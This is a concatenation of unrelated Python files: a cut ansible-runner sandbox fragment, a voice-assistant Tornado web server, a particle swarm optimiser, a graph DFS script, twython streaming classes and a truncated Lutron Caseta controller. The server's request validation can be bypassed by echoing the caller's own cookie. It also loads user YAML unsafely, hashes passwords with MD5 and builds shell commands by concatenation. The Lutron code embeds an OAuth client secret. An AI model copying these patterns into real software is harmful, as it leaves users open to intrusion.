sorted(set(self.process_isolation_ro_paths or [])): if not os.path.exists(path): logger.debug('read-only path not found: {0}'.format(path)) continue path = os.path.realpath(path) new_args.extend(['--ro-bind', '{0}'.format(path), '{0}'.format(path)]) show_paths.extend(self.process_isolation_show_paths or []) for path in sorted(set(show_paths)): if not os.path.exists(path): logger.debug('show path not found: {0}'.format(path)) continue path = os.path.realpath(path) new_args.extend(['--bind', '{0}'.format(path), '{0}'.format(path)]) if 'ansible-playbook' in args[0]: # playbook runs should cwd to the SCM checkout dir new_args.extend(['--chdir', os.path.join(self.private_data_dir, 'project')]) else: # ad-hoc runs should cwd to the root of the private data dir new_args.extend(['--chdir', self.private_data_dir]) new_args.extend(args) return new_args def wrap_args_with_ssh_agent(self, args, ssh_key_path, ssh_auth_sock=None, silence_ssh_add=False): """ Given an existing command line and parameterization this will return the same command line wrapped with the necessary calls to ``ssh-agent`` """ if ssh_key_path: ssh_add_command = self.args2cmdline('ssh-add', ssh_key_path) if silence_ssh_add: ssh_add_command = ' '.join([ssh_add_command, '2>/dev/null']) cmd = ' && '.join([ssh_add_command, self.args2cmdline('rm', '-f', ssh_key_path), self.args2cmdline(*args)]) args = ['ssh-agent'] if ssh_auth_sock: args.extend(['-a', ssh_auth_sock]) args.extend(['sh', '-c', cmd]) return args def open_fifo_write(self, path, data): # TODO: Switch to utility function '''open_fifo_write opens the fifo named pipe in a new thread. This blocks the thread until an external process (such as ssh-agent) reads data from the pipe. ''' os.mkfifo(path, stat.S_IRUSR | stat.S_IWUSR) threading.Thread(target=lambda p, d: open(p, 'wb').write(d), args=(path, data)).start() def args2cmdline(self, *args): # TODO: switch to utility function return ' '.join([pipes.quote(a) for a in args])
server.py
import json from robot import config, utils, logging, Updater, constants import base64 import requests import tornado.web import tornado.ioloop import tornado.httpserver import tornado.options import hashlib import threading import asyncio import subprocess import os import time import yaml import markdown import random logger = logging.getLogger(__name__) conversation, wukong = None, None suggestions = [ '现在几点', '你吃饭了吗', '上海的天气', '写一首关于大海的诗', '来玩成语接龙', '我有多少邮件', '你叫什么名字', '讲个笑话' ] class BaseHandler(tornado.web.RequestHandler): def isValidated(self): if not self.get_secure_cookie('validation'): return False return str(self.get_secure_cookie("validation"), encoding='utf-8') == config.get('/server/validate', '') def validate(self, validation): if '"' in validation: validation = validation.replace('"', '') return validation == config.get('/server/validate', '') or validation == str(self.get_cookie('validation')) class MainHandler(BaseHandler): def get(self): global conversation, wukong, suggestions if not self.isValidated(): self.redirect("/login") return if conversation: info = Updater.fetch(wukong._dev) suggestion = random.choice(suggestions) notices = None if 'notices' in info: notices=info['notices'] self.render('index.html', history=conversation.getHistory(), update_info=info, suggestion=suggestion, notices=notices) else: self.render('index.html', history=[]) class ChatHandler(BaseHandler): def onResp(self, msg, audio): logger.debug('response msg: {}'.format(msg)) res = {'code': 0, 'message': 'ok', 'resp': msg, 'audio': audio} self.write(json.dumps(res)) def post(self): global conversation if self.validate(self.get_argument('validate', default=None)): if self.get_argument('type') == 'text': query = self.get_argument('query') uuid = self.get_argument('uuid') conversation.doResponse(query, uuid, onSay=lambda msg, audio: self.onResp(msg, audio)) elif self.get_argument('type') == 'voice': voice_data = self.get_argument('voice') tmpfile = utils.write_temp_file(base64.b64decode(voice_data), '.wav') fname, suffix = os.path.splitext(tmpfile) nfile = fname + '-16k' + suffix # downsampling soxCall = 'sox ' + tmpfile + \ ' ' + nfile + ' rate 16k' subprocess.call([soxCall], shell=True, close_fds=True) utils.check_and_delete(tmpfile) conversation.doConverse(nfile, onSay=lambda msg, audio: self.onResp(msg, audio)) else: res = {'code': 1, 'message': 'illegal type'} self.write(json.dumps(res)) else: res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) self.finish() class GetHistoryHandler(BaseHandler): def get(self): global conversation if not self.validate(self.get_argument('validate', default=None)): res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) else: res = {'code': 0, 'message': 'ok', 'history': json.dumps(conversation.getHistory())} self.write(json.dumps(res)) self.finish() class GetConfigHandler(BaseHandler): def get(self): if not self.validate(self.get_argument('validate', default=None)): res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) else: key = self.get_argument("key", default="") res = '' if key == '': res = {'code': 0, 'message': 'ok', 'config': config.getText(), 'sensitivity': config.get('sensitivity', 0.5)} else: res = {'code': 0, 'message': 'ok', 'value': config.get(key)} self.write(json.dumps(res)) self.finish() class GetLogHandler(BaseHandler): def get(self): if not self.validate(self.get_argument('validate', default=None)): res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) else: lines = self.get_argument('lines', default=200) res = {'code': 0, 'message': 'ok', 'log': logging.readLog(lines)} self.write(json.dumps(res)) self.finish() class LogHandler(BaseHandler): def get(self): if not self.isValidated(): self.redirect("/login") else: self.render("log.html") class OperateHandler(BaseHandler): def post(self): global wukong if self.validate(self.get_argument('validate', default=None)): if self.get_argument('type') == 'restart': res = {'code': 0, 'message': 'ok'} self.write(json.dumps(res)) self.finish() time.sleep(3) wukong.restart() else: res = {'code': 1, 'message': 'illegal type'} self.write(json.dumps(res)) self.finish() else: res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) self.finish() class ConfigHandler(BaseHandler): def get(self): if not self.isValidated(): self.redirect("/login") else: self.render('config.html', sensitivity=config.get('sensitivity')) def post(self): global conversation if self.validate(self.get_argument('validate', default=None)): configStr = self.get_argument('config') try: yaml.load(configStr) config.dump(configStr) res = {'code': 0, 'message': 'ok'} self.write(json.dumps(res)) except: res = {'code': 1, 'message': 'YAML解析失败,请检查内容'} self.write(json.dumps(res)) else: res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) self.finish() class DonateHandler(BaseHandler): def get(self): if not self.isValidated(): self.redirect("/login") return r = requests.get('https://raw.githubusercontent.com/wzpan/wukong-contrib/master/docs/donate.md') content = markdown.markdown(r.text, extensions=['codehilite', 'tables', 'fenced_code', 'meta', 'nl2br', 'toc' ]) self.render('donate.html', content=content) class APIHandler(BaseHandler): def get(self): if not self.isValidated(): self.redirect("/login") else: content = '' r = requests.get('https://raw.githubusercontent.com/wzpan/wukong-contrib/master/docs/api.md') content = markdown.markdown(r.text, extensions=['codehilite', 'tables', 'fenced_code', 'meta', 'nl2br', 'toc' ]) self.render('api.html', content=content) class UpdateHandler(BaseHandler): def post(self): global wukong if self.validate(self.get_argument('validate', default=None)): if wukong.update(): res = {'code': 0, 'message': 'ok'} self.write(json.dumps(res)) self.finish() time.sleep(3) wukong.restart() else: res = {'code': 1, 'message': '更新失败,请手动更新'} self.write(json.dumps(res)) else: res = {'code': 1, 'message': 'illegal visit'} self.write(json.dumps(res)) self.finish() class LoginHandler(BaseHandler): def get(self): if self.isValidated(): self.redirect('/') else: self.render('login.html', error=None) def post(self): if self.get_argument('username') == config.get('/server/username') and \ hashlib.md5(self.get_argument('password').encode('utf-8')).hexdigest() \ == config.get('/server/validate'): print('success') self.set_secure_cookie("validation", config.get('/server/validate')) self.redirect("/") else: self.render('login.html', error="登录失败") class LogoutHandler(BaseHandler): def get(self): if self.isValidated(): self.set_secure_cookie("validation", '') self.redirect("/login") settings = { "cookie_secret": config.get('/server/cookie_secret', "__GENERATE_YOUR_OWN_RANDOM_VALUE_HERE__"), "template_path": "server/templates", "static_path": "server/static", "login_url": "/login", "debug": False } application = tornado.web.Application([ (r"/", MainHandler), (r"/login", LoginHandler), (r"/gethistory", GetHistoryHandler), (r"/chat", ChatHandler), (r"/config", ConfigHandler), (r"/getconfig", GetConfigHandler), (r"/operate", OperateHandler), (r"/getlog", GetLogHandler), (r"/log", LogHandler), (r"/logout", LogoutHandler), (r"/api", APIHandler), (r"/upgrade", UpdateHandler), (r"/donate", DonateHandler), (r"/photo/(.+\.(?:png|jpg|jpeg|bmp|gif|JPG|PNG|JPEG|BMP|GIF))", tornado.web.StaticFileHandler, {'path': config.get('/camera/dest_path', 'server/static')}), (r"/audio/(.+\.(?:mp3|wav|pcm))", tornado.web.StaticFileHandler, {'path': constants.TEMP_PATH}), (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': 'server/static'}) ], **settings) def start_server(con, wk): global conversation, wukong conversation = con wukong = wk if config.get('/server/enable', False): port = config.get('/server/port', '5000') try: asyncio.set_event_loop(asyncio.new_event_loop()) application.listen(int(port)) tornado.ioloop.IOLoop.instance().start() except Exception as e: logger.critical('服务器启动失败: {}'.format(e)) def run(conversation, wukong): t = threading.Thread(target=lambda: start_server(conversation, wukong)) t.start()
pso.py
'''Particle Swarm Optimization Algorithm for Minimization''' from threading import Thread, Event import numpy as _np class PSO: """.""" DEFAULT_COEFF_INERTIA = 0.7984 DEFAULT_COEFF_INDIVIDUAL = 1.49618 DEFAULT_COEFF_COLLECTIVE = 1.49618 def __init__(self, save=False): """.""" # Number of particles in the swarm # (Recommended is 10 + 2 * sqrt(d)) # where d is the dimension of search space self._nswarm = 0 self._niter = 0 # Inertia self._coeff_inertia = PSO.DEFAULT_COEFF_INERTIA # Best position of individual particle self._coeff_indiv = PSO.DEFAULT_COEFF_INDIVIDUAL # Best position ever reached by the swarm self._coeff_coll = PSO.DEFAULT_COEFF_COLLECTIVE # Boundary limits of problem self._pos_lim_upper = _np.array([]) self._pos_lim_lower = _np.array([]) # Elements of PSO self._initial_position = _np.array([]) self._position = self._initial_position self._velocity = _np.array([]) self._best_indiv = _np.array([]) self._best_global = _np.array([]) self._thread = Thread(target=self._optimize, daemon=True) self._stopevt = Event() self.hist_best_positions = _np.array([]) self.hist_best_objfun = _np.array([]) self._flag_save = save self.initialization() self._check_initialization() @property def coeff_inertia(self): """.""" return self._coeff_inertia @coeff_inertia.setter def coeff_inertia(self, value): """.""" self._coeff_inertia = value @property def coeff_indiv(self): """.""" return self._coeff_indiv @coeff_indiv.setter def coeff_indiv(self, value): """.""" self._coeff_indiv = value @property def coeff_coll(self): """.""" return self._coeff_coll @coeff_coll.setter def coeff_coll(self, value): """.""" self._coeff_coll = value @property def ndim(self): """.""" return len(self._initial_position) @property def nswarm(self): """.""" return self._nswarm @nswarm.setter def nswarm(self, value): """.""" self._nswarm = value @property def niter(self): """.""" return self._niter @niter.setter def niter(self, value): """.""" self._niter = value @property def limits_upper(self): """.""" return self._pos_lim_upper @limits_upper.setter def limits_upper(self, value): """.""" if len(value) != len(self._initial_position): raise Exception('Incompatible upper limit!') self._pos_lim_upper = _np.array(value) @property def limits_lower(self): """.""" return self._pos_lim_lower @limits_lower.setter def limits_lower(self, value): """.""" if len(value) != len(self._initial_position): raise Exception('Incompatible lower limit!') self._pos_lim_lower = _np.array(value) @property def initial_position(self): """.""" return self._initial_position @initial_position.setter def initial_position(self, value): """.""" self._initial_position = value @property def position(self): """.""" return self._position @position.setter def position(self, value): """.""" self._position = value @property def velocity(self): """.""" return self._velocity @velocity.setter def velocity(self, value): """.""" self._velocity = value def initialization(self): """.""" raise NotImplementedError def _check_initialization(self): """.""" if len(self._pos_lim_upper) != len(self._pos_lim_lower): raise Exception( 'Upper and Lower Limits has different lengths!') if self.ndim != len(self._pos_lim_upper): raise Exception( 'Dimension incompatible with limits!') if self.nswarm < round(10 + 2 * _np.sqrt(self.ndim)): print( 'Swarm population lower than recommended!') def _create_swarm(self): """.""" self._best_indiv = _np.zeros((self.nswarm, self.ndim)) self._best_global = _np.zeros(self.ndim) # Random initialization of swarm position inside the boundary limits dlim = self._pos_lim_upper - self._pos_lim_lower rarray = _np.random.rand(self.nswarm, self.ndim) self._position = _np.ones((self.nswarm, 1)) * self._initial_position self._position += dlim * rarray + self._pos_lim_lower # Include the zero variation as first particle in the swarm self._position[0, :] *= 0 self._check_lim() # The first individual contribution will be zero self._best_indiv = self._position # Initializing with zero velocity self._velocity = _np.zeros((self.nswarm, self.ndim)) def _update_position(self): """.""" r_indiv = self._coeff_indiv * _np.random.rand() r_coll = self._coeff_coll * _np.random.rand() # Inertial velocity self._velocity *= self._coeff_inertia # Velocity dependent to distance from best individual position self._velocity += r_indiv * (self._best_indiv - self._position) # Velocity dependent to distance from best global position self._velocity += r_coll * (self._best_global - self._position) # Update position and check boundary limits self._position += self._velocity self._check_lim() def _check_lim(self): """.""" # If particle position exceeds the boundary, set the boundary value for i in range(self._pos_lim_upper.size): over = self._position[:, i] > self._pos_lim_upper[i] under = self._position[:, i] < self._pos_lim_lower[i] self._position[over, i] = self._pos_lim_upper[i] self._position[under, i] = self._pos_lim_lower[i] def _save_data(self, k, f, fbest): """.""" with open('pos_PSO.txt', 'a') as f_pos: if k == 0: f_pos.write('NEW RUN'.center(50, '=') + '\n') f_pos.write('Step ' + str(k+1) + ' \n') _np.savetxt(f_pos, self._position, fmt='%+.8e') with open('fig_PSO.txt', 'a') as f_fig: if k == 0: f_fig.write('NEW RUN'.center(50, '=') + '\n') f_fig.write('Step ' + str(k+1) + ' \n') _np.savetxt(f_fig, f, fmt='%+.8e') with open('best_pos_history_PSO.txt', 'a') as f_posh: if k == 0: f_posh.write('NEW RUN'.center(50, '=') + '\n') f_posh.write('Step ' + str(k+1) + ' \n') _np.savetxt(f_posh, self._best_global, fmt='%+.8e') with open('best_fig_history_PSO.txt', 'a') as f_figh: if k == 0: f_figh.write('NEW RUN'.center(50, '=') + '\n') f_figh.write('Step ' + str(k+1) + ' \n') _np.savetxt(f_figh, _np.array([fbest]), fmt='%+.8e') def calc_obj_fun(self): """Return a vector for every particle evaluation.""" raise NotImplementedError def start(self): """.""" if not self._thread.is_alive(): self._thread = Thread(target=self._optimize, daemon=True) self._stopevt.clear() self._thread.start() def stop(self): """.""" self._stopevt.set() def join(self): """.""" self._thread.join() @property def isrunning(self): """.""" return self._thread.is_alive() def _optimize(self): """.""" self._create_swarm() f_old = _np.zeros(self.nswarm) f_new = _np.zeros(self.nswarm) # History of best position and merit function over iteractions best_pos_hstry = _np.zeros((self.niter, self.ndim)) best_fig_hstry = _np.zeros(self.niter) print('>>> Iteraction Number: 1') f_old = self.calc_obj_fun() self._best_global = self._best_indiv[_np.argmin(f_old), :] best_pos_hstry[0, :] = self._best_global best_fig_hstry[0] = _np.min(f_old) ref0 = self._best_global if self._flag_save: self._save_data(k=0, f=f_old, fbest=best_fig_hstry[0]) print('Best particle: ' + str(_np.argmin(f_old)+1)) print('Obj. Func.:' + str(_np.min(f_old))) for niter in range(self.niter): print('------------------------------------------------------') print('>>> Iteraction Number: ' + str(niter+2)) self._update_position() f_new = self.calc_obj_fun() improve = f_new < f_old if improve.any(): # Update best individual position and merit function for # comparison only if the merit function is lower self._best_indiv[improve, :] = self._position[improve, :] if _np.min(f_new) < _np.min(f_old): self._best_global = self._best_indiv[ _np.argmin(f_new), :].copy() print('UPDATE GLOBAL BEST!') print( 'Best particle: ' + str(_np.argmin(f_new)+1)) print('Obj. Func.:' + str(_np.min(f_new))) f_old[improve] = f_new[improve] else: print('Best particle: ' + str(_np.argmin(f_new)+1)) print('Obj. Func.:' + str(_np.min(f_new))) best_pos_hstry[niter, :] = self._best_global best_fig_hstry[niter] = _np.min(f_old) if self._flag_save: self._save_data(k=niter, f=f_new, fbest=best_fig_hstry[niter]) if self._stopevt.is_set(): print('Stopped!') break print('Finished!') print('Best Position Found:' + str(self._best_global)) print('Best Obj. Func. Found:' + str(_np.min(f_old))) self.hist_best_positions = best_pos_hstry self.hist_best_objfun = best_fig_hstry
other.py
import sys,threading sys.setrecursionlimit(3000000) threading.stack_size(67108864) def firstdfs(vertexind): global fs,isexplored,visitordered,mapDictT if len(mapDictT[vertexind])>0: for ind in mapDictT[vertexind]: if not isexplored[ind-1]: isexplored[ind-1]=True firstdfs(ind) visitordered[fs-1]=vertexind #print(str(vertexind)+' fs: '+str(fs)) fs=fs-1 def seconddfs(vertexind): global s,secisexplored,header,mapDict if len(mapDict[vertexind])==0:return for ind in mapDict[vertexind]: if not secisexplored[ind-1]: secisexplored[ind-1]=True seconddfs(ind) header[s-1]+=1 def sccmain(): global mapDict,mapDictT,fs,isexplored,visitordered,s,secisexplored,header maplength=875714 #maplength=11 f=open('SCC.txt','r') mapDict={x:[] for x in range(1,maplength+1)} mapDictT={x:[] for x in range(1,maplength+1)} for line in f.readlines(): tmp=[int(x) for x in line.split()] mapDict[tmp[0]].append(tmp[1]) mapDictT[tmp[1]].append(tmp[0]) f.close fs=maplength isexplored=[False for x in range(1,maplength+1)] secisexplored=[False for x in range(1,maplength+1)] visitordered=[0 for x in range(1,maplength+1)] header=[0 for x in range(1,maplength+1)] for ind in range(1,maplength+1): if not isexplored[ind-1]: #print('Begin from: '+str(ind)) isexplored[ind-1]=True firstdfs(ind) print('Second DFS') for ind in visitordered: if not secisexplored[ind-1]: s=ind secisexplored[ind-1]=True seconddfs(ind) header.sort(reverse=True) print(header[0:20]) if __name__ =='__main__': thread=threading.Thread(target=sccmain) thread.start()
types.py
# -*- coding: utf-8 -*- from threading import Thread """ twython.streaming.types ~~~~~~~~~~~~~~~~~~~~~~~ This module contains classes and methods for :class:`TwythonStreamer` to use. """ class TwythonStreamerTypes(object): """Class for different stream endpoints Not all streaming endpoints have nested endpoints. User Streams and Site Streams are single streams with no nested endpoints Status Streams include filter, sample and firehose endpoints """ def __init__(self, streamer): self.streamer = streamer self.statuses = TwythonStreamerTypesStatuses(streamer) def user(self, **params): """Stream user Accepted params found at: https://dev.twitter.com/docs/api/1.1/get/user """ url = 'https://userstream.twitter.com/%s/user.json' \ % self.streamer.api_version self.streamer._request(url, params=params) def site(self, **params): """Stream site Accepted params found at: https://dev.twitter.com/docs/api/1.1/get/site """ url = 'https://sitestream.twitter.com/%s/site.json' \ % self.streamer.api_version self.streamer._request(url, params=params) class TwythonStreamerTypesStatuses(object): """Class for different statuses endpoints Available so :meth:`TwythonStreamer.statuses.filter()` is available. Just a bit cleaner than :meth:`TwythonStreamer.statuses_filter()`, :meth:`statuses_sample()`, etc. all being single methods in :class:`TwythonStreamer`. """ def __init__(self, streamer): self.streamer = streamer self.params = None def _filter(self,track): """Stream statuses/_filter :track \*\*params: Filter """ url = 'https://stream.twitter.com/%s/statuses/filter.json' \ % self.streamer.api_version self.streamer._request(url, 'POST', params={"track":track}) def filter_async(self,**params): """Stream statuses/filter asynchronously :param \*\*params: Parameters to send with your stream request Accepted params found at: https://developer.twitter.com/en/docs/tweets/filter-realtime/api-reference/post-statuses-filter """ print(params["track"]) self.s_thread = Thread(target=self._filter,args=[params["track"]]).start() def filter(self,**params): """Stream statuses/filter :param \*\*params: Parameters to send with your stream request Accepted params found at: https://developer.twitter.com/en/docs/tweets/filter-realtime/api-reference/post-statuses-filter """ url = 'https://stream.twitter.com/%s/statuses/filter.json' \ % self.streamer.api_version self.streamer._request(url, 'POST', params=params) def sample(self, **params): """Stream statuses/sample :param \*\*params: Parameters to send with your stream request Accepted params found at: https://developer.twitter.com/en/docs/tweets/sample-realtime/api-reference/get-statuses-sample """ url = 'https://stream.twitter.com/%s/statuses/sample.json' \ % self.streamer.api_version self.streamer._request(url, params=params) def firehose(self, **params): """Stream statuses/firehose :param \*\*params: Parameters to send with your stream request Accepted params found at: https://dev.twitter.com/docs/api/1.1/get/statuses/firehose """ url = 'https://stream.twitter.com/%s/statuses/firehose.json' \ % self.streamer.api_version self.streamer._request(url, params=params) def set_dynamic_filter(self, **params): """Set/update statuses/filter :param \*\*params: Parameters to send with your stream request Accepted params found at: https://developer.twitter.com/en/docs/tweets/filter-realtime/api-reference/post-statuses-filter """ self.params = params def dynamic_filter(self): """Stream statuses/filter with dynamic parameters""" url = 'https://stream.twitter.com/%s/statuses/filter.json' \ % self.streamer.api_version self.streamer._request(url, 'POST', params=self.params)
LutronCasetaController.py
from polyinterface import Controller,LOG_HANDLER,LOGGER import asyncio import json import requests import socket import ssl import logging import time from threading import Thread,Event #import pylutron_caseta.smartbridge as smartbridge from pylutron_caseta.smartbridge import Smartbridge from pylutron_caseta import (FAN_MEDIUM, OCCUPANCY_GROUP_OCCUPIED, OCCUPANCY_GROUP_UNOCCUPIED) #logging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', level=logging.DEBUG) #LOG_HANDLER.set_log_format('%(asctime)s %(threadName)-10s %(name)-18s %(levelname)-8s %(module)s:%(funcName)s: %(message)s') LOG_HANDLER.set_basic_config(True,logging.DEBUG) from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import load_pem_private_key from urllib.parse import urlencode from lutron_caseta_nodes.LutronCasetaNodes import SerenaHoneycombShade, QsWirelessShade, Scene # We need an event loop for pylutron_caseta since we run in a # which doesn't have a loop mainloop = asyncio.get_event_loop() LOGIN_SERVER = "device-login.lutron.com" APP_CLIENT_ID = ("e001a4471eb6152b7b3f35e549905fd8589dfcf57eb680b6fb37f20878c" "28e5a") APP_CLIENT_SECRET = ("b07fee362538d6df3b129dc3026a72d27e1005a3d1e5839eed5ed18" "c63a89b27") APP_OAUTH_REDIRECT_PAGE = "lutron_app_oauth_redirect" CERT_SUBJECT = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, "US"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Pennsylvania"), x509.NameAttribute(NameOID.LOCALITY_NAME, "Coopersburg"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Lutron Electronics Co., Inc."), x509.NameAttribute(NameOID.COMMON_NAME, "Lutron Caseta App") ]) BASE_URL = "https://%s/" % LOGIN_SERVER REDIRECT_URI = "https://%s/%s" % (LOGIN_SERVER, APP_OAUTH_REDIRECT_PAGE) AUTHORIZE_URL = ("%soauth/authorize?%s" % (BASE_URL, urlencode({ "client_id": APP_CLIENT_ID, "redirect_uri": REDIRECT_URI, "response_type": "code" }))) class LutronCasetaController(Controller): def __init__(self, polyglot): super().__init__(polyglot) self.name = 'LutronCaseta Controller' self.connecting = False #self.poly.onConfig(self.process_config) def get_priv_key(self): LOGGER.info("Getting private key") try: with open('./caseta.key', 'rb') as f: private_key = load_pem_private_key(f.read(), None, default_backend()) LOGGER.info("Loaded private key from disk") except FileNotFoundError: LOGGER.info("Generating private key...") private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend()) LOGGER.info("saving private key to disk") with open('./caseta.key', 'wb') as f: f.write(private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() )) return private_key def get_certificate(self): LOGGER.info("Getting certificate") try: with open('./caseta.crt', 'rb') as f: certificate = x509.load_pem_x509_certificate(f.read(), default_backend()) LOGGER.info("Loaded cert from disk") except FileNotFoundError: LOGGER.info("Generating certificate request") csr = (x509.CertificateSigningRequestBuilder() .subject_name(CERT_SUBJECT) .sign(self.private_key, hashes.SHA256(), default_backend())) if not self.oauth_code: LOGGER.error('No OAUTH code stored, exiting') return None LOGGER.info("requesting token...") token = requests.post("%soauth/token" % BASE_URL, data={ "code": self.oauth_code, "client_id": APP_CLIENT_ID, "client_secret": APP_CLIENT_SECRET, "redirect_uri": REDIRECT_URI, "grant_type": "authorization_code"}).json() if token["token_type"] != "bearer": raise ("Received invalid token %s. Try generating a new code " "(one time use).") % token access_token = token["access_token"] pairing_request_content = { "remote_signs_app_certificate_signing_request": csr.public_bytes(serialization.Encoding.PEM).decode('ASCII') } LOGGER.info("sending pairing request") pairing_response = requests.post( "%sapi/v1/remotepairing/application/user" % BASE_URL, json=pairing_request_content, headers={ "X-DeviceType": "Caseta,RA2Select", "Authorization": "Bearer %s" % access_token } ).json() app_cert = pairing_response["remote_signs_app_certificate"] remote_cert = pairing_response["local_signs_remote_certificate"] LOGGER.info("storing certificate to disk") with open('caseta.crt', 'wb') as f: f.write(app_cert.encode('ASCII')) f.write(remote_cert.encode('ASCII')) # TODO Don't open new filehandle to read cert back LOGGER.info("reading certificate back from disk") with open('caseta.crt', 'rb') as f: certificate = x509.load_pem_x509_certificate(f.read(), default_backend()) return certificate def get_bridge_cert(self, ssl_socket): ssl_socket.connect((self.lutron_bridge_ip, 8081)) ca_der = ssl_socket.getpeercert(True) ca_cert = x509.load_der_x509_certificate(ca_der, default_backend()) with open('./caseta-bridge.crt', 'wb') as f: f.write(ca_cert.public_bytes(serialization.Encoding.PEM)) return True def ping_bridge(self, ssl_socket): ssl_socket.send(("%s\r\n" % json.dumps({ "CommuniqueType": "ReadRequest", "Header": {"Url": "/server/1/status/ping"} })).encode('UTF-8')) while True: buffer = b'' while not buffer.endswith(b'\r\n'): buffer += ssl_socket.read() leap_response = json.loads(buffer.decode('UTF-8')) if leap_response['CommuniqueType'] == 'ReadResponse': break return leap_response['Body']['PingResponse']['LEAPVersion'] # Did it this way based on "Async Fron Sync" here # https://www.aeracode.org/2018/02/19/python-async-simplified/ async def _bridge_connect(self): self.sb = Smartbridge.create_tls(hostname=self.lutron_bridge_ip, keyfile='./caseta.key', certfile='./caseta.crt', ca_certs='caseta-bridge.crt', ) await self.sb.connect() if self.sb.is_connected(): LOGGER.info("Successfully connected to bridge!") else: LOGGER.error("Could not connect to bridge") self.connecting = False def bridge_connect(self): self.connecting = True self.connect_thread = Thread(target=mainloop.run_forever) self.connect_thread.start() #mainloop.call_soon_threadsafe(self._bridge_connect) #mainloop.run_until_complete(self._bridge_connect) asyncio.run_coroutine_threadsafe(self._bridge_connect(), mainloop) def is_connected(self): i = 0 # 2 minutes while self.connecting and i < 24: LOGGER.info("Waiting for connection to initialize...") time.sleep(5) i += 1 if self.connecting: LOGGER.error("Timed out waiting for connectiont to startup.") return False if not self.sb.is_connected(): LOGGER.info("Not connected to bridge, reconnecting...") self.bridge_connect() return self.sb.is_connected() def start(self): LOGGER.info('Started LutronCaseta NodeServer') self.poly.add_custom_config_docs("<b>To obtain oauth code, follow <a href='{}' target='_blank'>this link</a> and copy the 'code' portion of the error page url</b>".format(AUTHORIZE_URL)) # This grabs the server.json data and checks profile_version is up to date serverdata = self.poly.get_server_data(check_profile=True) self.setDriver('ST', 1) LOGGER.info('Started Lutron Caseta NodeServer {}'.format(serverdata['version'])) if self.getDriver('GV1') is None: LOGGER.warning('Updating myself since there is no GV1') self.addNode(self,update=True) self.set_debug_level() self.mainloop = mainloop asyncio.set_event_loop(mainloop) self.hb = 0 self.devices = dict() self.heartbeat() self.check_params() if not self.lutron_bridge_ip and not self.oauth_code: return # Get or generate private key self.private_key = self.get_priv_key() LOGGER.info("Private key loaded") # get or generate certifiate self.certificate = self.get_certificate() LOGGER.info("Certificate loaded") # Create an ssl socket to smartbridge raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_socket = ssl.wrap_socket(raw_socket, keyfile='./caseta.key', certfile='./caseta.crt', ssl_version=ssl.PROTOCOL_TLSv1_2) # User socket to get smartbridge certificate if self.get_bridge_cert(ssl_socket): LOGGER.info("Bridge certificate saved") self.bridge_connect() ssl_socket.close() self.discover() def shortPoll(self): """ Optional. This runs every 10 seconds. You would probably update your nodes either here or longPoll. No need to Super this method the parent version does nothing. The timer can be overriden in the server.json. """ #LOGGER.debug("shoftPoll") # Call update to update the status # No longer needed since we get callback's from the brdge :) #self.update() def longPoll(self): """ Optional. This runs every 30 seconds. You would probably update your nodes either here or shortPoll. No need to Super this method the parent version does nothing. The timer can be overriden in the server.json. """ self.heartbeat() def query(self): """ Optional. By default a query to the control node reports the FULL driver set for ALL nodes back to ISY. If you override this method you will need to Super or issue a reportDrivers() to each node manually. """ self.check_params() for node in self.nodes: if node != self.address: self.nodes[node].query() def update(self): for node in self.nodes: if node != self.address: self.nodes[node].update() def heartbeat(self): """ Optional. Sends a DON/DOF called by start and longPoll which allow users to monitor that the nodeserver is still running """ #LOGGER.debug("heartbeat: {}".format(self.hb)) if self.hb == 0: self.reportCmd("DON",2) self.hb = 1 else: self.reportCmd("DOF",2) self.hb = 0 def discover(self, *args, **kwargs): """ Example Do discovery here. Does not have to be called discovery. Called from example controller start method and from DISCOVER command recieved from ISY as an exmaple. """ if not self.is_connected(): return False # self.addNode(LutronCasetaSmartBridge(self, self.address, 'smartbridgeaddr', 'Caseta Smart Bridge')) devices = self.sb.get_devices() scenes = self.sb.get_scenes() for device_id, device in devices.items(): """ '1': {'device_id': '1', 'name': 'Smart Bridge 2', 'type': 'SmartBridge', 'zone': None, 'current_state': -1}, '3': {'device_id': '3', 'name': 'Living Room_Left Window', 'type': 'SerenaHoneycombShade', 'zone': '2', 'current_state': -1} """ NodeType = None if device.get('type') == "SerenaHoneycombShade": NodeType = SerenaHoneycombShade elif device.get('type') == "QsWirelessShade": NodeType = QsWirelessShade if not NodeType: LOGGER.error("Unsupported Node Type: {}".format(device)) continue address = 'device' + str(device.get('device_id')) LOGGER.info("Adding node: '{}' {}".format(device.get('name'),address)) self.devices[device_id] = self.addNode( NodeType( self, self.address, address, device.get('name'), self.sb, device.get('device_id'), device.get('type'), device.get('zone'), device.get('current_state') ) ) for scene_id, scene in scenes.items(): """ '1': {'scene_id': '1', 'name': 'All Close'}, '2': {'scene_id': '2', 'name': 'All Open'}, '3': {'scene_id': '3', 'name': 'All Halfway'} """ self.addNode( Scene( self, self.address, 'scene' + str(scene.get('scene_id')), scene.get('name'), self.sb ) ) def delete(self): """ Example This is sent by Polyglot upon deletion of the NodeServer. If the process is co-resident and controlled by Polyglot, it will be terminiated within 5 seconds of receiving this message. """ LOGGER.info('Oh God I\'m being deleted. Nooooooooooooooooooooooooooooooooooooooooo.') def stop(self): LOGGER.debug('NodeServer stopped.') def process_config(self, config): # this seems to get called twice for every change, why? # What does config represent? LOGGER.info("process_config: Enter config={}".format(config)) LOGGER.info("process_config: Exit") def check_params(self): default_lutron_bridge_ip = None default_oauth_code = None if 'lutron_bridge_ip' in 